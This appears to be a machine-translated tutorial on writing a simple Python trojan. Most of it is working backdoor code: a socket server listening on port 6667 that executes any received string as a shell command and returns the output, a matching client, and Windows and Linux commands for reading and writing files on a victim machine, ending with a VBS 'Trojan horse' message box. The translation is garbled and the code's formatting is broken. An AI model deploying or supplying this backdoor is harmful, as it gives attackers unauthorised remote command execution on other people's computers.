solemn statement : This article is limited to technical discussion , Do not use for other purposes .
code :
More English : Suggest using UTF-8 code (utf-8 Is the most used encoding method , Is a variable length character encoding )
More Chinese : Suggest using UTF-16 code
chinese :window The Chinese language is GBK Format encoding
netstat -ant : Only the data of the transport layer is displayed TCP,UDP Connect , It can be used to check socket Does the service work
import socket, os
def attack():
try:
s = socket.socket()
s.bind(('0.0.0.0', 6667)) # Use default address , All devices can access the server's 6667 port
s.listen() # Yes 6667 Port for listening
chanel, client = s.accept() # Go into blocking mode ,accept() Return a tuple , Accept data from the client ,chanel: new socket Object is used to identify which client connection the server communicates with , client: Client's IP And port
while True:
receive = chanel.recv(1024).decode()
reply = os.popen(receive).read()
chanel.send(f" command {
receive} Results of operation :\n{
reply}".encode())
except:
s.close()
attack()
if __name__ == '__main__':
attack()
import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667)) #192.168.137.1 yes socket The address of the server
while True:
sendstr = input(" Please enter a message :")
s.send(sendstr.encode())
receive = s.recv(1024).decode()
print(f" Server reply :{
receive}")
# s.close()
Tips : Import required os modular —— import os
os.system('ipconfig')
os.popen('ipconfig').read()
eval() # String by Python Code to execute
window
type File absolute path
linux
cat File path
window
dir # View the current file path Directory
dir File path # View the specified file path Directory
linux
ls # View the current file path Directory
ll # View the current file path directory details
ls File path # View the specified file path Directory
ll File path # View the directory details of the specified file path
windows
echo test >> demo.txt # Create a demo.txt file , The content of the document is test
linux
mkdir route # Create directory
echo test >> demo.txt # Create a demo.txt file , The content of the document is test
Call calculator
calc.exe
Call other reference programs
Enter the application absolute path directly
echo msgbox(" You're on a Trojan horse !!") > E:\hi.vbs
E:\hi.vbs